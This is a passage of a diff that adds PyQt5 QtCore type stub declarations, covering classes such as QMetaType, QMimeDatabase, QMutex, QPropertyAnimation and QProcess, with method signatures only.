... + + def error(self) -> 'QLockFile.LockError': ... + def removeStaleLockFile(self) -> bool: ... + def getLockInfo(self) -> typing.Tuple[bool, int, str, str]: ... + def isLocked(self) -> bool: ... + def staleLockTime(self) -> int: ... + def setStaleLockTime(self, a0: int) -> None: ... + def unlock(self) -> None: ... + def tryLock(self, timeout: int = ...) -> bool: ... + def lock(self) -> bool: ... + + +class QMessageLogContext(sip.simplewrapper): + + category = ... # type: str + file = ... # type: str + function = ... # type: str + line = ... # type: int + + +class QMessageLogger(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, file: str, line: int, function: str) -> None: ... + @typing.overload + def __init__(self, file: str, line: int, function: str, category: str) -> None: ... + + def info(self, msg: str) -> None: ... + def fatal(self, msg: str) -> None: ... + def critical(self, msg: str) -> None: ... + def warning(self, msg: str) -> None: ... + def debug(self, msg: str) -> None: ... + + +class QLoggingCategory(sip.simplewrapper): + + @typing.overload + def __init__(self, category: str) -> None: ... + @typing.overload + def __init__(self, category: str, severityLevel: QtMsgType) -> None: ... + + @staticmethod + def setFilterRules(rules: str) -> None: ... + @staticmethod + def defaultCategory() -> 'QLoggingCategory': ... + def __call__(self) -> 'QLoggingCategory': ... + def categoryName(self) -> str: ... + def isCriticalEnabled(self) -> bool: ... + def isWarningEnabled(self) -> bool: ... + def isInfoEnabled(self) -> bool: ... + def isDebugEnabled(self) -> bool: ... + def setEnabled(self, type: QtMsgType, enable: bool) -> None: ... + def isEnabled(self, type: QtMsgType) -> bool: ... + + +class QMargins(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, aleft: int, atop: int, aright: int, abottom: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QMargins') -> None: ... + + def __neg__(self) -> 'QMargins': ... + def __pos__(self) -> 'QMargins': ... + def setBottom(self, abottom: int) -> None: ... + def setRight(self, aright: int) -> None: ... + def setTop(self, atop: int) -> None: ... + def setLeft(self, aleft: int) -> None: ... + def bottom(self) -> int: ... + def right(self) -> int: ... + def top(self) -> int: ... + def left(self) -> int: ... + def isNull(self) -> bool: ... + + +class QMarginsF(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, aleft: float, atop: float, aright: float, abottom: float) -> None: ... + @typing.overload + def __init__(self, margins: QMargins) -> None: ... + @typing.overload + def __init__(self, a0: 'QMarginsF') -> None: ... + + def __neg__(self) -> 'QMarginsF': ... + def __pos__(self) -> 'QMarginsF': ... + def toMargins(self) -> QMargins: ... + def setBottom(self, abottom: float) -> None: ... + def setRight(self, aright: float) -> None: ... + def setTop(self, atop: float) -> None: ... + def setLeft(self, aleft: float) -> None: ... + def bottom(self) -> float: ... + def right(self) -> float: ... + def top(self) -> float: ... + def left(self) -> float: ... + def isNull(self) -> bool: ... + + +class QMessageAuthenticationCode(sip.simplewrapper): + + def __init__(self, method: QCryptographicHash.Algorithm, key: typing.Union[QByteArray, bytes, bytearray] = ...) -> None: ... + + @staticmethod + def hash(message: typing.Union[QByteArray, bytes, bytearray], key: typing.Union[QByteArray, bytes, bytearray], method: QCryptographicHash.Algorithm) -> QByteArray: ... + def result(self) -> QByteArray: ... + @typing.overload + def addData(self, data: str, length: int) -> None: ... + @typing.overload + def addData(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def addData(self, device: QIODevice) -> bool: ... + def setKey(self, key: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + def reset(self) -> None: ... + + +class QMetaMethod(sip.simplewrapper): + + class MethodType(int): + Method = ... # type: QMetaMethod.MethodType + Signal = ... # type: QMetaMethod.MethodType + Slot = ... # type: QMetaMethod.MethodType + Constructor = ... # type: QMetaMethod.MethodType + + class Access(int): + Private = ... # type: QMetaMethod.Access + Protected = ... # type: QMetaMethod.Access + Public = ... # type: QMetaMethod.Access + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMetaMethod') -> None: ... + + def parameterType(self, index: int) -> int: ... + def parameterCount(self) -> int: ... + def returnType(self) -> int: ... + def name(self) -> QByteArray: ... + def methodSignature(self) -> QByteArray: ... + def isValid(self) -> bool: ... + def methodIndex(self) -> int: ... + @typing.overload + def invoke(self, object: QObject, connectionType: Qt.ConnectionType, returnValue: 'QGenericReturnArgument', value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @typing.overload + def invoke(self, object: QObject, returnValue: 'QGenericReturnArgument', value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @typing.overload + def invoke(self, object: QObject, connectionType: Qt.ConnectionType, value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @typing.overload + def invoke(self, object: QObject, value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + def methodType(self) -> 'QMetaMethod.MethodType': ... + def access(self) -> 'QMetaMethod.Access': ... + def tag(self) -> str: ... + def parameterNames(self) -> typing.List[QByteArray]: ... + def parameterTypes(self) -> typing.List[QByteArray]: ... + def typeName(self) -> str: ... + + +class QMetaEnum(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMetaEnum') -> None: ... + + def enumName(self) -> str: ... + def isScoped(self) -> bool: ... + def isValid(self) -> bool: ... + def valueToKeys(self, value: int) -> QByteArray: ... + def keysToValue(self, keys: str) -> typing.Tuple[int, bool]: ... + def valueToKey(self, value: int) -> str: ... + def keyToValue(self, key: str) -> typing.Tuple[int, bool]: ... + def scope(self) -> str: ... + def value(self, index: int) -> int: ... + def key(self, index: int) -> str: ... + def keyCount(self) -> int: ... + def isFlag(self) -> bool: ... + def name(self) -> str: ... + + +class QMetaProperty(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMetaProperty') -> None: ... + + def isRequired(self) -> bool: ... + def relativePropertyIndex(self) -> int: ... + def isFinal(self) -> bool: ... + def isConstant(self) -> bool: ... + def propertyIndex(self) -> int: ... + def notifySignalIndex(self) -> int: ... + def notifySignal(self) -> QMetaMethod: ... + def hasNotifySignal(self) -> bool: ... + def userType(self) -> int: ... + def isUser(self, object: typing.Optional[QObject] = ...) -> bool: ... + def isResettable(self) -> bool: ... + def isValid(self) -> bool: ... + def hasStdCppSet(self) -> bool: ... + def reset(self, obj: QObject) -> bool: ... + def write(self, obj: QObject, value: typing.Any) -> bool: ... + def read(self, obj: QObject) -> typing.Any: ... + def enumerator(self) -> QMetaEnum: ... + def isEnumType(self) -> bool: ... + def isFlagType(self) -> bool: ... + def isStored(self, object: typing.Optional[QObject] = ...) -> bool: ... + def isScriptable(self, object: typing.Optional[QObject] = ...) -> bool: ... + def isDesignable(self, object: typing.Optional[QObject] = ...) -> bool: ... + def isWritable(self) -> bool: ... + def isReadable(self) -> bool: ... + def type(self) -> 'QVariant.Type': ... + def typeName(self) -> str: ... + def name(self) -> str: ... + + +class QMetaClassInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMetaClassInfo') -> None: ... + + def value(self) -> str: ... + def name(self) -> str: ... + + +class QMetaType(sip.simplewrapper): + + class TypeFlag(int): + NeedsConstruction = ... # type: QMetaType.TypeFlag + NeedsDestruction = ... # type: QMetaType.TypeFlag + MovableType = ... # type: QMetaType.TypeFlag + PointerToQObject = ... # type: QMetaType.TypeFlag + IsEnumeration = ... # type: QMetaType.TypeFlag + + class Type(int): + UnknownType = ... # type: QMetaType.Type + Void = ... # type: QMetaType.Type + Bool = ... # type: QMetaType.Type + Int = ... # type: QMetaType.Type + UInt = ... # type: QMetaType.Type + LongLong = ... # type: QMetaType.Type + ULongLong = ... # type: QMetaType.Type + Double = ... # type: QMetaType.Type + QChar = ... # type: QMetaType.Type + QVariantMap = ... # type: QMetaType.Type + QVariantList = ... # type: QMetaType.Type + QVariantHash = ... # type: QMetaType.Type + QString = ... # type: QMetaType.Type + QStringList = ... # type: QMetaType.Type + QByteArray = ... # type: QMetaType.Type + QBitArray = ... # type: QMetaType.Type + QDate = ... # type: QMetaType.Type + QTime = ... # type: QMetaType.Type + QDateTime = ... # type: QMetaType.Type + QUrl = ... # type: QMetaType.Type + QLocale = ... # type: QMetaType.Type + QRect = ... # type: QMetaType.Type + QRectF = ... # type: QMetaType.Type + QSize = ... # type: QMetaType.Type + QSizeF = ... # type: QMetaType.Type + QLine = ... # type: QMetaType.Type + QLineF = ... # type: QMetaType.Type + QPoint = ... # type: QMetaType.Type + QPointF = ... # type: QMetaType.Type + QRegExp = ... # type: QMetaType.Type + LastCoreType = ... # type: QMetaType.Type + FirstGuiType = ... # type: QMetaType.Type + QFont = ... # type: QMetaType.Type + QPixmap = ... # type: QMetaType.Type + QBrush = ... # type: QMetaType.Type + QColor = ... # type: QMetaType.Type + QPalette = ... # type: QMetaType.Type + QIcon = ... # type: QMetaType.Type + QImage = ... # type: QMetaType.Type + QPolygon = ... # type: QMetaType.Type + QRegion = ... # type: QMetaType.Type + QBitmap = ... # type: QMetaType.Type + QCursor = ... # type: QMetaType.Type + QSizePolicy = ... # type: QMetaType.Type + QKeySequence = ... # type: QMetaType.Type + QPen = ... # type: QMetaType.Type + QTextLength = ... # type: QMetaType.Type + QTextFormat = ... # type: QMetaType.Type + QMatrix = ... # type: QMetaType.Type + QTransform = ... # type: QMetaType.Type + VoidStar = ... # type: QMetaType.Type + Long = ... # type: QMetaType.Type + Short = ... # type: QMetaType.Type + Char = ... # type: QMetaType.Type + ULong = ... # type: QMetaType.Type + UShort = ... # type: QMetaType.Type + UChar = ... # type: QMetaType.Type + Float = ... # type: QMetaType.Type + QObjectStar = ... # type: QMetaType.Type + QMatrix4x4 = ... # type: QMetaType.Type + QVector2D = ... # type: QMetaType.Type + QVector3D = ... # type: QMetaType.Type + QVector4D = ... # type: QMetaType.Type + QQuaternion = ... # type: QMetaType.Type + QEasingCurve = ... # type: QMetaType.Type + QVariant = ... # type: QMetaType.Type + QUuid = ... # type: QMetaType.Type + QModelIndex = ... # type: QMetaType.Type + QPolygonF = ... # type: QMetaType.Type + SChar = ... # type: QMetaType.Type + QRegularExpression = ... # type: QMetaType.Type + QJsonValue = ... # type: QMetaType.Type + QJsonObject = ... # type: QMetaType.Type + QJsonArray = ... # type: QMetaType.Type + QJsonDocument = ... # type: QMetaType.Type + QByteArrayList = ... # type: QMetaType.Type + QPersistentModelIndex = ... # type: QMetaType.Type + QCborSimpleType = ... # type: QMetaType.Type + QCborValue = ... # type: QMetaType.Type + QCborArray = ... # type: QMetaType.Type + QCborMap = ... # type: QMetaType.Type + QColorSpace = ... # type: QMetaType.Type + User = ... # type: QMetaType.Type + + class TypeFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QMetaType.TypeFlags', 'QMetaType.TypeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QMetaType.TypeFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QMetaType.TypeFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, type: int = ...) -> None: ... + + def name(self) -> QByteArray: ... + def id(self) -> int: ... + @staticmethod + def metaObjectForType(type: int) -> 'QMetaObject': ... + def isValid(self) -> bool: ... + def flags(self) -> 'QMetaType.TypeFlags': ... + @staticmethod + def typeFlags(type: int) -> 'QMetaType.TypeFlags': ... + @typing.overload + @staticmethod + def isRegistered(type: int) -> bool: ... + @typing.overload + def isRegistered(self) -> bool: ... + @staticmethod + def typeName(type: int) -> str: ... + @staticmethod + def type(typeName: str) -> int: ... + + +class QMimeData(QObject): + + def __init__(self) -> None: ... + + def retrieveData(self, mimetype: str, preferredType: 'QVariant.Type') -> typing.Any: ... + def removeFormat(self, mimetype: str) -> None: ... + def clear(self) -> None: ... + def formats(self) -> typing.List[str]: ... + def hasFormat(self, mimetype: str) -> bool: ... + def setData(self, mimetype: str, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + def data(self, mimetype: str) -> QByteArray: ... + def hasColor(self) -> bool: ... + def setColorData(self, color: typing.Any) -> None: ... + def colorData(self) -> typing.Any: ... + def hasImage(self) -> bool: ... + def setImageData(self, image: typing.Any) -> None: ... + def imageData(self) -> typing.Any: ... + def hasHtml(self) -> bool: ... + def setHtml(self, html: str) -> None: ... + def html(self) -> str: ... + def hasText(self) -> bool: ... + def setText(self, text: str) -> None: ... + def text(self) -> str: ... + def hasUrls(self) -> bool: ... + def setUrls(self, urls: typing.Iterable['QUrl']) -> None: ... + def urls(self) -> typing.List['QUrl']: ... + + +class QMimeDatabase(sip.simplewrapper): + + class MatchMode(int): + MatchDefault = ... # type: QMimeDatabase.MatchMode + MatchExtension = ... # type: QMimeDatabase.MatchMode + MatchContent = ... # type: QMimeDatabase.MatchMode + + def __init__(self) -> None: ... + + def allMimeTypes(self) -> typing.List['QMimeType']: ... + def suffixForFileName(self, fileName: str) -> str: ... + @typing.overload + def mimeTypeForFileNameAndData(self, fileName: str, device: QIODevice) -> 'QMimeType': ... + @typing.overload + def mimeTypeForFileNameAndData(self, fileName: str, data: typing.Union[QByteArray, bytes, bytearray]) -> 'QMimeType': ... + def mimeTypeForUrl(self, url: 'QUrl') -> 'QMimeType': ... + @typing.overload + def mimeTypeForData(self, data: typing.Union[QByteArray, bytes, bytearray]) -> 'QMimeType': ... + @typing.overload + def mimeTypeForData(self, device: QIODevice) -> 'QMimeType': ... + def mimeTypesForFileName(self, fileName: str) -> typing.List['QMimeType']: ... + @typing.overload + def mimeTypeForFile(self, fileName: str, mode: 'QMimeDatabase.MatchMode' = ...) -> 'QMimeType': ... + @typing.overload + def mimeTypeForFile(self, fileInfo: QFileInfo, mode: 'QMimeDatabase.MatchMode' = ...) -> 'QMimeType': ... + def mimeTypeForName(self, nameOrAlias: str) -> 'QMimeType': ... + + +class QMimeType(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMimeType') -> None: ... + + def __hash__(self) -> int: ... + def filterString(self) -> str: ... + def inherits(self, mimeTypeName: str) -> bool: ... + def preferredSuffix(self) -> str: ... + def suffixes(self) -> typing.List[str]: ... + def aliases(self) -> typing.List[str]: ... + def allAncestors(self) -> typing.List[str]: ... + def parentMimeTypes(self) -> typing.List[str]: ... + def globPatterns(self) -> typing.List[str]: ... + def iconName(self) -> str: ... + def genericIconName(self) -> str: ... + def comment(self) -> str: ... + def name(self) -> str: ... + def isDefault(self) -> bool: ... + def isValid(self) -> bool: ... + def swap(self, other: 'QMimeType') -> None: ... + + +class QMutexLocker(sip.simplewrapper): + + @typing.overload + def __init__(self, m: 'QMutex') -> None: ... + @typing.overload + def __init__(self, m: 'QRecursiveMutex') -> None: ... + + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + def mutex(self) -> 'QMutex': ... + def relock(self) -> None: ... + def unlock(self) -> None: ... + + +class QMutex(sip.simplewrapper): + + class RecursionMode(int): + NonRecursive = ... # type: QMutex.RecursionMode + Recursive = ... # type: QMutex.RecursionMode + + def __init__(self, mode: 'QMutex.RecursionMode' = ...) -> None: ... + + def isRecursive(self) -> bool: ... + def unlock(self) -> None: ... + def tryLock(self, timeout: int = ...) -> bool: ... + def lock(self) -> None: ... + + +class QRecursiveMutex(sip.simplewrapper): + + def __init__(self) -> None: ... + + +class QSignalBlocker(sip.simplewrapper): + + def __init__(self, o: QObject) -> None: ... + + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + def unblock(self) -> None: ... + def reblock(self) -> None: ... + + +class QObjectCleanupHandler(QObject): + + def __init__(self) -> None: ... + + def clear(self) -> None: ... + def isEmpty(self) -> bool: ... + def remove(self, object: QObject) -> None: ... + def add(self, object: QObject) -> QObject: ... + + +class QMetaObject(sip.simplewrapper): + + class Connection(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QMetaObject.Connection') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QMetaObject') -> None: ... + + def inherits(self, metaObject: 'QMetaObject') -> bool: ... + def constructor(self, index: int) -> QMetaMethod: ... + def indexOfConstructor(self, constructor: str) -> int: ... + def constructorCount(self) -> int: ... + @typing.overload + @staticmethod + def invokeMethod(obj: QObject, member: str, type: Qt.ConnectionType, ret: 'QGenericReturnArgument', value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @typing.overload + @staticmethod + def invokeMethod(obj: QObject, member: str, ret: 'QGenericReturnArgument', value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @typing.overload + @staticmethod + def invokeMethod(obj: QObject, member: str, type: Qt.ConnectionType, value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @typing.overload + @staticmethod + def invokeMethod(obj: QObject, member: str, value0: 'QGenericArgument' = ..., value1: 'QGenericArgument' = ..., value2: 'QGenericArgument' = ..., value3: 'QGenericArgument' = ..., value4: 'QGenericArgument' = ..., value5: 'QGenericArgument' = ..., value6: 'QGenericArgument' = ..., value7: 'QGenericArgument' = ..., value8: 'QGenericArgument' = ..., value9: 'QGenericArgument' = ...) -> typing.Any: ... + @staticmethod + def normalizedType(type: str) -> QByteArray: ... + @staticmethod + def normalizedSignature(method: str) -> QByteArray: ... + @staticmethod + def connectSlotsByName(o: QObject) -> None: ... + @typing.overload + @staticmethod + def checkConnectArgs(signal: str, method: str) -> bool: ... + @typing.overload + @staticmethod + def checkConnectArgs(signal: QMetaMethod, method: QMetaMethod) -> bool: ... + def classInfo(self, index: int) -> QMetaClassInfo: ... + def property(self, index: int) -> QMetaProperty: ... + def enumerator(self, index: int) -> QMetaEnum: ... + def method(self, index: int) -> QMetaMethod: ... + def indexOfClassInfo(self, name: str) -> int: ... + def indexOfProperty(self, name: str) -> int: ... + def indexOfEnumerator(self, name: str) -> int: ... + def indexOfSlot(self, slot: str) -> int: ... + def indexOfSignal(self, signal: str) -> int: ... + def indexOfMethod(self, method: str) -> int: ... + def classInfoCount(self) -> int: ... + def propertyCount(self) -> int: ... + def enumeratorCount(self) -> int: ... + def methodCount(self) -> int: ... + def classInfoOffset(self) -> int: ... + def propertyOffset(self) -> int: ... + def enumeratorOffset(self) -> int: ... + def methodOffset(self) -> int: ... + def userProperty(self) -> QMetaProperty: ... + def superClass(self) -> 'QMetaObject': ... + def className(self) -> str: ... + + +class QGenericArgument(sip.simplewrapper): ... + + +class QGenericReturnArgument(sip.simplewrapper): ... + + +class QOperatingSystemVersion(sip.simplewrapper): + + class OSType(int): + Unknown = ... # type: QOperatingSystemVersion.OSType + Windows = ... # type: QOperatingSystemVersion.OSType + MacOS = ... # type: QOperatingSystemVersion.OSType + IOS = ... # type: QOperatingSystemVersion.OSType + TvOS = ... # type: QOperatingSystemVersion.OSType + WatchOS = ... # type: QOperatingSystemVersion.OSType + Android = ... # type: QOperatingSystemVersion.OSType + + AndroidJellyBean = ... # type: 'QOperatingSystemVersion' + AndroidJellyBean_MR1 = ... # type: 'QOperatingSystemVersion' + AndroidJellyBean_MR2 = ... # type: 'QOperatingSystemVersion' + AndroidKitKat = ... # type: 'QOperatingSystemVersion' + AndroidLollipop = ... # type: 'QOperatingSystemVersion' + AndroidLollipop_MR1 = ... # type: 'QOperatingSystemVersion' + AndroidMarshmallow = ... # type: 'QOperatingSystemVersion' + AndroidNougat = ... # type: 'QOperatingSystemVersion' + AndroidNougat_MR1 = ... # type: 'QOperatingSystemVersion' + AndroidOreo = ... # type: 'QOperatingSystemVersion' + MacOSCatalina = ... # type: 'QOperatingSystemVersion' + MacOSHighSierra = ... # type: 'QOperatingSystemVersion' + MacOSMojave = ... # type: 'QOperatingSystemVersion' + MacOSSierra = ... # type: 'QOperatingSystemVersion' + OSXElCapitan = ... # type: 'QOperatingSystemVersion' + OSXMavericks = ... # type: 'QOperatingSystemVersion' + OSXYosemite = ... # type: 'QOperatingSystemVersion' + Windows10 = ... # type: 'QOperatingSystemVersion' + Windows7 = ... # type: 'QOperatingSystemVersion' + Windows8 = ... # type: 'QOperatingSystemVersion' + Windows8_1 = ... # type: 'QOperatingSystemVersion' + + @typing.overload + def __init__(self, osType: 'QOperatingSystemVersion.OSType', vmajor: int, vminor: int = ..., vmicro: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QOperatingSystemVersion') -> None: ... + + def name(self) -> str: ... + def type(self) -> 'QOperatingSystemVersion.OSType': ... + def segmentCount(self) -> int: ... + def microVersion(self) -> int: ... + def minorVersion(self) -> int: ... + def majorVersion(self) -> int: ... + @staticmethod + def currentType() -> 'QOperatingSystemVersion.OSType': ... + @staticmethod + def current() -> 'QOperatingSystemVersion': ... + + +class QParallelAnimationGroup(QAnimationGroup): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def updateDirection(self, direction: QAbstractAnimation.Direction) -> None: ... + def updateState(self, newState: QAbstractAnimation.State, oldState: QAbstractAnimation.State) -> None: ... + def updateCurrentTime(self, currentTime: int) -> None: ... + def event(self, event: QEvent) -> bool: ... + def duration(self) -> int: ... + + +class QPauseAnimation(QAbstractAnimation): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, msecs: int, parent: typing.Optional[QObject] = ...) -> None: ... + + def updateCurrentTime(self, a0: int) -> None: ... + def event(self, e: QEvent) -> bool: ... + def setDuration(self, msecs: int) -> None: ... + def duration(self) -> int: ... + + +class QVariantAnimation(QAbstractAnimation): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def interpolated(self, from_: typing.Any, to: typing.Any, progress: float) -> typing.Any: ... + def updateCurrentValue(self, value: typing.Any) -> None: ... + def updateState(self, newState: QAbstractAnimation.State, oldState: QAbstractAnimation.State) -> None: ... + def updateCurrentTime(self, a0: int) -> None: ... + def event(self, event: QEvent) -> bool: ... + def valueChanged(self, value: typing.Any) -> None: ... + def setEasingCurve(self, easing: typing.Union[QEasingCurve, QEasingCurve.Type]) -> None: ... + def easingCurve(self) -> QEasingCurve: ... + def setDuration(self, msecs: int) -> None: ... + def duration(self) -> int: ... + def currentValue(self) -> typing.Any: ... + def setKeyValues(self, values: typing.Iterable[typing.Tuple[float, typing.Any]]) -> None: ... + def keyValues(self) -> typing.List[typing.Tuple[float, typing.Any]]: ... + def setKeyValueAt(self, step: float, value: typing.Any) -> None: ... + def keyValueAt(self, step: float) -> typing.Any: ... + def setEndValue(self, value: typing.Any) -> None: ... + def endValue(self) -> typing.Any: ... + def setStartValue(self, value: typing.Any) -> None: ... + def startValue(self) -> typing.Any: ... + + +class QPropertyAnimation(QVariantAnimation): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, target: QObject, propertyName: typing.Union[QByteArray, bytes, bytearray], parent: typing.Optional[QObject] = ...) -> None: ... + + def updateState(self, newState: QAbstractAnimation.State, oldState: QAbstractAnimation.State) -> None: ... + def updateCurrentValue(self, value: typing.Any) -> None: ... + def event(self, event: QEvent) -> bool: ... + def setPropertyName(self, propertyName: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + def propertyName(self) -> QByteArray: ... + def setTargetObject(self, target: QObject) -> None: ... + def targetObject(self) -> QObject: ... + + +class QPluginLoader(QObject): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, parent: typing.Optional[QObject] = ...) -> None: ... + + def loadHints(self) -> QLibrary.LoadHints: ... + def setLoadHints(self, loadHints: typing.Union[QLibrary.LoadHints, QLibrary.LoadHint]) -> None: ... + def errorString(self) -> str: ... + def fileName(self) -> str: ... + def setFileName(self, fileName: str) -> None: ... + def isLoaded(self) -> bool: ... + def unload(self) -> bool: ... + def load(self) -> bool: ... + @staticmethod + def staticInstances() -> typing.List[QObject]: ... + def instance(self) -> QObject: ... + + +class QPoint(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, xpos: int, ypos: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QPoint') -> None: ... + + def __neg__(self) -> 'QPoint': ... + def __pos__(self) -> 'QPoint': ... + def transposed(self) -> 'QPoint': ... + @staticmethod + def dotProduct(p1: 'QPoint', p2: 'QPoint') -> int: ... + def setY(self, ypos: int) -> None: ... + def setX(self, xpos: int) -> None: ... + def y(self) -> int: ... + def x(self) -> int: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + def __repr__(self) -> str: ... + def manhattanLength(self) -> int: ... + + +class QPointF(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, xpos: float, ypos: float) -> None: ... + @typing.overload + def __init__(self, p: QPoint) -> None: ... + @typing.overload + def __init__(self, a0: 'QPointF') -> None: ... + + def __neg__(self) -> 'QPointF': ... + def __pos__(self) -> 'QPointF': ... + def transposed(self) -> 'QPointF': ... + @staticmethod + def dotProduct(p1: typing.Union['QPointF', QPoint], p2: typing.Union['QPointF', QPoint]) -> float: ... + def manhattanLength(self) -> float: ... + def toPoint(self) -> QPoint: ... + def setY(self, ypos: float) -> None: ... + def setX(self, xpos: float) -> None: ... + def y(self) -> float: ... + def x(self) -> float: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + def __repr__(self) -> str: ... + + +class QProcess(QIODevice): + + class InputChannelMode(int): + ManagedInputChannel = ... # type: QProcess.InputChannelMode + ForwardedInputChannel = ... # type: QProcess.InputChannelMode + + class ProcessChannelMode(int): + SeparateChannels = ... # type: QProcess.ProcessChannelMode + MergedChannels = ... # type: QProcess.ProcessChannelMode + ForwardedChannels = ... # type: QProcess.ProcessChannelMode + ForwardedOutputChannel = ... # type: QProcess.ProcessChannelMode + ForwardedErrorChannel = ... # type: QProcess.ProcessChannelMode + + class ProcessChannel(int): + StandardOutput = ... # type: QProcess.ProcessChannel + StandardError = ... # type: QProcess.ProcessChannel + + class ProcessState(int): + NotRunning = ... # type: QProcess.ProcessState + Starting = ... # type: QProcess.ProcessState + Running = ... # type: QProcess.ProcessState + + class ProcessError(int): + FailedToStart = ... # type: QProcess.ProcessError + Crashed = ... # type: QProcess.ProcessError + Timedout = ... # type: QProcess.ProcessError + ReadError = ... # type: QProcess.ProcessError + WriteError = ... # type: QProcess.ProcessError + UnknownError = ... # type: QProcess.ProcessError + + class ExitStatus(int): + NormalExit = ... # type: QProcess.ExitStatus + CrashExit = ... # type: QProcess.ExitStatus + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def processId(self) -> int: ... + @staticmethod + def nullDevice() -> str: ... + def setInputChannelMode(self, mode: 'QProcess.InputChannelMode') -> None: ... + def inputChannelMode(self) -> 'QProcess.InputChannelMode': ... + def open(self, mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> bool: ... + def setArguments(self, arguments: typing.Iterable[str]) -> None: ... + def arguments(self) -> typing.List[str]: ... + def setProgram(self, program: str) -> None: ... + def program(self) -> str: ... + def processEnvironment(self) -> 'QProcessEnvironment': ... + def setProcessEnvironment(self, environment: 'QProcessEnvironment') -> None: ... + def writeData(self, data: bytes) -> int: ... + def readData(self, maxlen: int) -> bytes: ... + def setupChildProcess(self) -> None: ... + def setProcessState(self, state: 'QProcess.ProcessState') -> None: ... + def errorOccurred(self, error: 'QProcess.ProcessError') -> None: ... + def readyReadStandardError(self) -> None: ... + def readyReadStandardOutput(self) -> None: ... + def stateChanged(self, state: 'QProcess.ProcessState') -> None: ... + def 